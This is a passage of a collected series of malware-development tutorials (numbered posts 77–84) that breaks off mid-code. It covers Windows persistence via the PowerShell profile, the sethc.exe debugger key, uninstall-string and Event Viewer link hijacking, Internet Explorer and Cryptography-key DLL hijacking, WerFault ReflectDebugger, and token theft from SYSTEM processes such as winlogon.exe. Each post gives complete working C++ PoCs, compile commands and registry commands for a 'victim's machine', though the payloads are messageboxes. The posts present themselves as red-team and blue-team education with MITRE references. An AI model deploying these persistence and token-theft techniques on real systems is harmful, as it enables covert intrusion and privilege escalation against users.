I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
ATT&CK MITRE: IFEO Injection
MSDN: Monitoring Silent Process Exit
Persistence using GlobalFlags in Image File Execution Options - Hidden from au-
toruns.exe
APT29
SUNBURST
source code on github

677
77. malware development: persistence - part 11. Powershell profile.
Simple C++ example.

This post is the result of my own research into one of the interesting malware persistence
trick: via powershell profile.

powershell profile
A PowerShell profile is a powershell script that allows system administrators and end
users to configure their environment and perform specified commands when a Windows
PowerShell session begins.
The PowerShell profile script is stored in the folder WindowsPowerShell:

Let’s add the following code to a to the current user’s profile file, that will be performed
whenever the infected user enters a powershell console:
Z:\2022-09-20-malware-pers-11\hack.exe
I will demonstrate everything with a practical example and you will understand every-
thing.

678
practical example
Firstly, create our “malicious” file:
/*
hack.cpp
evil app for windows
persistence via powershell profile
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
As usually it is just “meow-meow” messagebox.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And we can run at victim machine for checking correctness:

679
Then we do this simple “trick”:
echo Z:\2022-09-20-malware-pers-11\hack.exe >
"%HOMEPATH%\Documents\windowspowershell\profile.ps1"
And finally, run powershell:
powershell -executionpolicy bypass

680
681
As you can see, our malicious logic executed as expected and powershell is the parent
process of our messagebox. =.. =
I created a simple PoC code to automate this process:
/*
pers.cpp
windows persistence via Powershell profile
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html
*/
#include <windows.h>
#include <stdio.h>
#include <strsafe.h>
#include <iostream>

int main(int argc, char* argv[]) {


char path[MAX_PATH];
char *homepath = getenv("USERPROFILE");
char pspath[] = "\\Documents\\windowspowershell";
char psprofile[] = "\\profile.ps1";

682
char evil[] = "Z:\\2022-09-20-malware-pers-11\\hack.exe";
DWORD evilLen = (DWORD)strlen(evil);

StringCchCopy(path, MAX_PATH, homepath);


StringCchCat(path, MAX_PATH, pspath);
BOOL wd = CreateDirectoryA(path, NULL);
if (wd == FALSE) {
printf("unable to create dir: %s\n", path);
} else {
printf("successfully create dir: %s\n", path);
}

StringCchCat(path, MAX_PATH, psprofile);


HANDLE hf = CreateFile(
path,
GENERIC_WRITE,
0,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
NULL
);

if (hf == INVALID_HANDLE_VALUE) {
printf("unable to create file: %s\n", path);
} else {
printf("successfully create file: %s\n", path);
}

BOOL wf = WriteFile(hf, evil, evilLen, NULL, NULL);


if (wf == FALSE) {
printf("unable to write to file %s\n", path);
} else {
printf("successfully write to file evil path: %s\n", evil);
}

CloseHandle(hf);
return 0;
}
The logic is simple, this script just create profile folder if not exists, then create profile
file and update it.

demo
Let’s go to see everything in action. Compile our PoC:

683
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run it on the victim’s machine:


.\pers.exe

684
And when powershell session is started:

685
If we check it via Process Hacker:

686
powershell.exe is the parent process again as expected.
As you can see everything is worked perfectly! =.. =
But there are the caveat. If powershell runned without execution policy bypass mode,
this persistence trick not work in my case:

687
Also there are four places you can abuse the powershell profile, depending on the privi-
leges you have:
$PROFILE | select *

688
By storing arbitrary instructions in the profile script, PowerShell profiles present several
chances for code execution. To avoid relying on the user to start PowerShell, you may
use a scheduled job that executes PowerShell at a certain time.

mitigations
Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from
being modified. Also you can avoid PowerShell profiles if not needed, for example via
-No-Profile flag.
This persistence trick is used by Turla in the wild.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Microsoft PowerShell profiles
MITRE ATT&CK. Event Triggered Execution: PowerShell Profile
Turla
source code on github

689
78. malware development: persistence - part 12. Accessibility Fea-
tures. Simple C++ example.

This post is the result of my own research into another admin-level malware persistence
trick: via Accessibility Features.
In the one of the previous posts, I wrote about persistence via Image File Execution
Options. In the one of the PoC examples, we just created a debugger to a victim process
in this registry key:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\mspaint.exe
then only requires the malicious application to be stored in System32.

practical example. sethc.exe


Today I just replace our victim process with sethc.exe. But what is sethc.exe? It
appears it is responsible for sticky keys. Pressing the Shift key 5 times will enable the
sticky keys:

690
Instead of the legitimate sethc.exe, “the rogue sethc.exe” , as usually for simplicity it
is a meow messagebox, will be executed. The source code is pretty similar (pers.cpp):
/*
pers.cpp
windows persistence via Accessibility Features
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/30/malware-pers-12.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// image file
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image
File Execution Options\\sethc.exe";

// evil app
const char* exe = "C:\\Windows\\System32\\hack.exe";

// Debugger
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);

691
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
// Execution Options\sethc.exe" /v Debugger /d "hack.exe"
RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ, (unsigned char*)exe,
strlen(exe));
RegCloseKey(hkey);
}

return 0;
}
Meow-meow messagebox:
/*
hack.cpp
evil app for windows persistence
via Accessibility Features
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/30/malware-pers-12.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}

demo
Let’s go to see everything in action. Check registry keys before:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Image File Execution Options" /s

692
Then, compile our pers.cpp:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Run and check registry keys again:


You need to have administrative privileges to replace the genuine
Windows binary of the tool
.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.exe" /s

693
Finally, pressing Shift key 5 times:

Note to the properties of the hack.exe:

694
Perfect! =.. =
After end of experiments, for cleanup, run:
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\sethc.exe" -Force -Verbose

695
conclusion
The Windows Accessibility Features are a collection of utilities accessible via the Win-
dows sign-in screen (like Sticky Keys). Some Accessibility features and their corre-
sponding trigger choices and locations include:
1. Utility Manager
- C:\Windows\System32\Utilman.exe
- Trigger: Windows key + U
2. On-Screen Keyboard
- C:\Windows\System32\osk.exe
- Trigger: Click on On-screen keyboard button
3. Magnifier
- C:\Windows\System32\Magnify.exe
- Trigger: Windows Key + =
4. Narrator
- C:\Windows\System32\Narrator.exe
- Trigger: Windows Key + Enter
5. Display Switcher
- C:\Windows\System32\DisplaySwitch.exe
- Trigger: Windows Key + P
These Windows capabilities became well-known when the APT groups exploited them
to backdoor target PCs. For example, APT3, APT29 and APT41 used sticky keys.

696
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
MITRE ATT&CK. Event Triggered Execution: Accessibility Features
APT3
APT29
APT41
source code in github

697
79. malware development: persistence - part 13. Hijacking unin-
stall logic for application. Simple C++ example.

This post is the result of my own research into one of the interesting malware persistence
trick: via hijacking uninstall file for target application.

uninstallation process
When you install a program on a Windows system, they usually point to their own
uninstallers. They are in the registry keys:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\<application
name>
and
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\QuietUninstallString\<application
name>
So what is the trick? There is no problem with replacing them with commands that
can run any other program. When a user executes the uninstaller, the command of the
attacker’s choosing is executed. Again, the good news is that privileges are required to
modify these items, as they reside under the HKLM key.

practical example
Let’s look at a practical example. Firstly, let’s choose a target application. I chose 7-zip
x64:

698
699
Then, check registry key values, for correctness:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-zip" /s

Also, I prepared my evil application. It’s as usually meow-meow “malware” :)

700
Then, I create a program, which do my logic for persistence (pers.cpp):
/*
pers.cpp
windows persistence via
hijacking uninstall app
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/04/malware-pers-13.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// target app
const char* app =
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\7-zip";

// evil app
const char* exe =
"C:\\Users\\User\\Documents\\malware\\2022-10-04-malware-pers-13\\hack.exe";

// app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)app, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add

701
//"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\
// 7-zip" /v "UninstallString" /t REG_SZ /d "...\hack.exe" /f
RegSetValueEx(hkey, (LPCSTR)"UninstallString", 0, REG_SZ, (unsigned char*)
exe, strlen(exe));
RegSetValueEx(hkey, (LPCSTR)"QuietUninstallString", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}

return 0;
}
As you can see, the logic is simple, we are just update target key values in registry.

demo
Let’s go to see everything in action. Compile malware and persistence script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run at the victim’s machine - Windows 10 x64 in my case:


.\pers.exe

702
Finally, after reboot my system, tried to uninstall 7-zip:

703
704
Then I looked at the properties of hack.exe in Process Hacker 2:

as you can see the parent process is SystemSettings.exe - is what you see whenever
you open your Windows settings. In our case, it is add/remove programs. Perfect!
=.. =
There are the little caveat. When I try to update key with path Z:\2022-10-04-malware-pers-13\hack.exe
I get an error like this:

705
Maybe you can use only paths inside the disk C:\.
After end of the experiments, clean up:
reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\7-zip"
/v "UninstallString" /t REG_SZ /d "C:\Program Files\7-zip\Uninstall.exe" /f

706
conclusion
Of course, maybe this trick is not so cool for persistence, since it requires the permissions
and participation of the victim’s user. But why not?
There is one more trick with using installing and removing programs for persistence, I
will write about it in one of the future posts. I’m still in the process of investigating this
possibility for the red team.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
RegOpenKeyEx
RegSetValueEx
RegCloseKey
reg query
source code in github

707
80. malware development: persistence - part 14. Event Viewer help
link. Simple C++ example.

This post is the result of my own research into one of the interesting malware persistence
trick: via replacing Windows Event Viewer help link.

event viewer help link


Windows’ Event Viewer has existed for over a decade. The Event Viewer examines a
limited number of logs that Windows maintains on your computer. The logs are XML-
formatted text files containing plain content.

708
As part of its user interface, Event Viewer provides a link to Event Log Online Help:

When clicked, a default help Microsoft link will be opened, which is defined at the win-
dows registry at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event
Viewer:

709
As you may have guessed, it would be logical to assume that the key: MicrosoftRedirectionURL
value can be changed in the interests of an attacker. That’s the trick.

practical example
Let’s look at a practical example. Firstly, as usually, create evil application, meow-meow
“malware” (hack.cpp):
/*
hack.cpp
evil app for windows persistence via
event viewer help link update
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/09/malware-pers-14.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR


lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
Then, create a program for persistence (pers.cpp):
/*

710
pers.cpp
windows persistence via
replace event viewer help link
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/09/malware-pers-14.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// event viewer
const char* app =
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer";

// evil app
const char* exe =
"file://Z:\\2022-10-09-malware-pers-14\\hack.exe";

// app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)app, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Event
// Viewer" /v "MicrosoftRedirectionUrl" /t REG_SZ /d
// "file://...\hack.exe" /f
RegSetValueEx(hkey, (LPCSTR)"MicrosoftRedirectionUrl", 0, REG_SZ, (unsigned char*)exe, s
RegCloseKey(hkey);
}

return 0;
}
As you can see, the logic is simple, just update registry key value to file://Z:\\2022-10-09-malware-pers-14\\hack

demo
Let’s go to see everything in action. Compile “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

711
check correctness:

and compile persistence script:


x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Check default registry key values at the victim’s machine - Windows 10 x64 in my
case:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event Viewer" /s

712
then also run at the victim’s machine - Windows 10 x64 in my case:
.\pers.exe

Finally, try to click Event Log Online Help link again:

713
Then I looked at the properties of hack.exe in Process Hacker 2:

714
This means that when link clicked, mmc.exe is launched, which in turn launches mali-
cious behavior.
For revert, after end of experiments, run:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Event Viewer" /v
"MicrosoftRedirectionUrl" /t REG_SZ /d
"http://go.microsoft.com/fwlink/events.asp" /f

715
or just restore virtual machine.
This is admin-level malware persistence trick, so this feature is work only
with admin permissions
I don’t know if any APT in the wild used this tactic and trick, but, I hope this post
spreads awareness to the blue teamers of this interesting technique especially when
create software, and adds a weapon to the red teamers arsenal.
Event Viewer
RegOpenKeyEx
RegSetValueEx
RegCloseKey
reg query
source code in github

716
81. malware development: persistence - part 15. Internet Explorer.
Simple C++ example.

This post is the result of my own research into one of the interesting malware persistence
trick: via Internet Explorer.

internet explorer
In one of my previous posts I wrote about real world example of DLL hijacking. In this
time the victim is Internet Explorer. Surely many of you do not even use it and are
unlikely to deleted it on purpose from Windows system.

practical example
As in my previous post, let’s go to run procmon from sysinternals, and setting the
following filters:

717
Then run Internet Explorer:

718
As you can see, the process iexplore.exe is missing several DLLs which possibly can
be used for DLL hijacking. For example suspend.dll:

Let’s go to search any other probably locations, maybe we have legit DLL:
cd C:\

719
dir /b /s suspend.dll

But as you can see, file not found so, this DLL is used by Internet Explorer only.
Then, I prepared “evil” DLL, meow-woof messagebox:
/*
evil.c - malicious DLL
DLL hijacking. Internet Explorer
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,


LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-woof!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:

720
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

demo
Let’s go to see everything in action. Compiling our evil DLL:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Then naming the file suspend.dll and placing it in the directory where Internet Ex-
plorer is loaded:

721
And finally try to run our victim application:

722
After we close pop-up IE work correctly, not crashed:

723
As you can see, it’s worked. Perfect! =.. =

conclusion
We now have achieved persistence via IE.
That’s why this post belongs to the persistence category, our malicious DLL will launch
anytime user starts IE too. And, when they exit it too. Surprise for my windows lovers.
You don’t even have to install or remove anything.
It’s worked also on Windows 11 x64:

724
Although it’s unlikely that anyone will launch IE in 2022, will you agree?
As a Windows bug hunter, if you want to find privilege escalation vulnerabilities on
the operating system itself, you’ll often want to start from a blank page, with a clean
installation of Windows.
I don’t know if any APT in the wild used this tactic and trick, but, I hope this post
spreads awareness to the blue teamers of this interesting technique especially when
create software, and adds a weapon to the red teamers arsenal.
DLL hijacking
DLL hijacking with exported functions
source code in github

725
82. malware development: persistence - part 16. Cryptography
Registry Keys. Simple C++ example.

This article is the result of my own investigation into one of the interesting malware
persistence trick: via Cryptography Registry Key.
In the course of studying the registry, I came across an interesting path:
HKLM\Software\Microsoft\Cryptography\
And there is a such function OffloadModExpo. If I understand correctly, this function is
used to perform all modular exponentiations for both public and private key operations:

I didn’t go into too much detail, the very opportunity to experiment with this key and
value in the Windows registry is enough for me. So, I tried to hijacking this DLL path:
HKLM\Software\Microsoft\Cryptography\Offload and key value.

practical example
First of all, as usually, create “evil” DLL. As usually, just meow-meow messagebox
(hack.c):
/*
hack.c - malicious DLL
DLL hijacking Cryptography registry path

726
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID


lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compile it:
x86_64-w64-mingw32-gcc -shared -o hack.dll hack.c

And create Proof-of-Concept code for hijacking (pers.cpp):


/*
pers.cpp
windows persistence via
hijacking cryptography DLL path
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/21/malware-pers-16.html
*/
#include <windows.h>

727
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// reg path
const char* path = "SOFTWARE\\Microsoft\\Cryptography\\Offload";

// evil DLL
const char* evil = "Z:\\2022-10-21-malware-pers-16\\hack.dll";

// create key
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)path, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);
if (res == ERROR_SUCCESS) {
// set registry key value
// reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Offload" /v
// "ExpoOffload" /t REG_SZ /d "...\hack.dll" /f
RegSetValueEx(hkey, (LPCSTR)"ExpoOffload", 0, REG_SZ, (unsigned char*)
evil, strlen(evil));
RegCloseKey(hkey);
}

return 0;
}
That’s all I need for experiment.

demo
Let’s go to see everything in action. Compile our Proof-of-Concept code:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Then, for the purity of experiment, check registry keys in the victim’s machine and
delete keys if exists:
reg query "HKLM\SOFTWARE\Microsoft\Cryptography\Offload" /s

728
Then, run our pers.exe script and check again:

And now I’ll try to run something. For example, I will try to open https:\\... link
at the browser or use search bar.

729
In the course of performing some cryptographic operations at the background, we will
see more and more popups.

730
731
Also I couldn’t even run Process Hacker 2 for investigation of the situation.

Then, restore my VM snapshot, run sysinternals Procmon with following filters:

732
And as a result:

733
As you can see at some stage my “evil” meow-meow DLL loaded by svchost.exe,
ProcessHacker.exe and other processes.
So, everything is worked correctly. Perfectly! =.. =

734
After end of experiments, restore my registry state:

I don’t know if any APT in the wild used this tactic and trick, but, I hope this post
spreads awareness to the blue teamers of this interesting technique especially when
create software, and adds a weapon to the red teamers arsenal.
OffloadModExpo
DLL hijacking
DLL hijacking with exported functions
source code in github

735
83. malware development: persistence - part 17 - APT techniques:
Token theft via UpdateProcThreadAttribute. Simple C++ example.

Hello, cybersecurity enthusiasts and white hackers!

{:class=“img-
responsive”}
This post is the result of my own research into one of the more interesting APT tech-
niques: token theft via UpdateProcThreadAttribute.
In the previous post I wrote about classic token theft via DuplicateTokenEx and
CreateProcessWithTokenW. Today I will describe an alternative method that works
starting from Windows Vista.

UpdateProcThreadAttribute
In the first part of my tutorial, we just doing classic trick: enable SE_DEBUG_PRIVILEGE,
open a token from any system process (which works even for protected processes also),
duplicate the token, adjust privileges on it, and then impersonate with this token.
Today we can use more simply trick. Microsoft implemented in Vista the ability to
designate an explicit parent process when creating a new process, allowing the elevated
process to remain a child of the caller.
Typically, in the UAC instance, you must issue an explicit token to the new process.
If you do not supply a token, the new process will inherit from the designated

736
parent. The only condition is that the handle to the parent process must have the
PROCESS_CREATE_PROCESS access privilege.
So, we just open some system process with PROCESS_CREATE_PROCESS access right.
Then use this handle with UpdateProcThreadAttribute. In consequence, your pro-
cess inherits a token from the system process.
BOOL UpdateProcThreadAttribute(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwFlags,
DWORD_PTR Attribute,
PVOID lpValue,
SIZE_T cbSize,
PVOID lpPreviousValue,
PSIZE_T lpReturnSize
);
And all you need for working this is SE_DEBUG_PRIVILEGE.

technique. practical example


First of all, sometimes you must turn on SeDebugPrivilege in your current set of
privileges:
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;


if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" :
"failed to enable %s :(\n", priv);
return res;
}
Then, open a process whose access token you wish to steal with PROCESS_CREATE_PROCESS
access rights:
HANDLE ph = OpenProcess(PROCESS_CREATE_PROCESS, false, pid);

737
After that, use it is handle with UpdateProcThreadAttribute:
ZeroMemory(&si, sizeof(STARTUPINFOEXW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
Finally, create process:
res = CreateProcessW(app, NULL, NULL, NULL, true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
printf(res ? "successfully create process :)\n" :
"failed to create process :(\n");
So, the full source code of this logic is look like this:
/*
hack.cpp
token theft via
UpdateProcThreadAttribute
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/28/token-theft-2.html
*/
#include <windows.h>
#include <stdio.h>
#include <iostream>

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

738
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" :
"failed to enable %s :(\n",
priv);
return res;
}

// create process
BOOL createProcess(DWORD pid, LPCWSTR app) {
STARTUPINFOEXW si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL res = TRUE;
HANDLE ph = OpenProcess(PROCESS_CREATE_PROCESS, false, pid);
printf(ph ? "successfully open process :)\n" :
"failed to open process :(\n");

ZeroMemory(&si, sizeof(STARTUPINFOEXW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);

res = CreateProcessW(app, NULL, NULL, NULL, true,


EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
printf(res ? "successfully create process :)\n" :
"failed to create process :(\n");
return res;
}

int main(int argc, char** argv) {


if (!setPrivilege(SE_DEBUG_NAME)) return -1;
DWORD pid = atoi(argv[1]);
if (!createProcess(pid, L"C:\\Windows\\System32\\mspaint.exe")) return -1;
return 0;
}
As you can see, the code is slightly different from the previous part. This code is just

739
dirty PoC, for simplicity, I run mspaint.exe.

demo
Let’s go to see everything in action. Compile our PoC:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

{:class=“img-
responsive”}
Then, run it at the victim’s machine:
.\hack.exe <PID>

{:class=“img-
responsive”}

740
As an example, you may steal the winlogon.exe (PID: 544) access token:

{:class=“img-
responsive”}

741
{:class=“img-
responsive”}

742
{:class=“img-
responsive”}
As you can see, everything is worked perfectly!
I hope this post least a little useful for entry level cyber security specialists (and possi-
bly even professionals), also spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
Local Security Authority
Privilege Constants
LookupPrivilegeValue
AdjustTokenPrivileges
UpdateProcThreadAttribute
CreateProcessW
APT techniques: Token theft. Part 1
source code in github

743
84. malware development: persistence - part 18. Windows Error
Reporting. Simple C++ example.

This post is based on my own research into one of the more interesting malware persis-
tence trick: via WerFault.exe.

WerFault.exe
While studying the behavior of Windows Error Reporting, I came across an interesting
Registry path:
HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs
If we run command WerFault.exe -pr <value> it is read HKLM\Software\Microsoft\Windows\Windows
Error Reporting\Hangs\ReflectDebugger=<path_value>. This command run
WerFault.exe on mode which is called “reflective debugger” and it is very interesting.
For example run WerFault.exe -pr 1 and check it via Sysinternals Process Monitor:

744
Add another filter:

745
As a result, we have a loophole for hijacking this value:

So, what is the trick? We can replace registry value HKLM\SOFTWARE\Microsoft\Windows\Windows


Error Reporting\Hangs\ReflectDebugger with our evil application, because
WerFault.exe not only read this value but also run it. And of course we can use it
for persistence.

746
practical example
For simplicity, as usually, my “evil” application is just meow-meow messagbox
(hack.cpp):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR


lpCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
And then, create script which create registry key value with my “evil” app:
int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";

// hijacked app
const char* wf = "WerFault.exe -pr 1";

// set evil app


LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)
"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 ,
KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)
exe, strlen(exe));
RegCloseKey(hkey);
}
}
Also, I used one of the classic trick for persistence:
// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {

747
// create new registry key
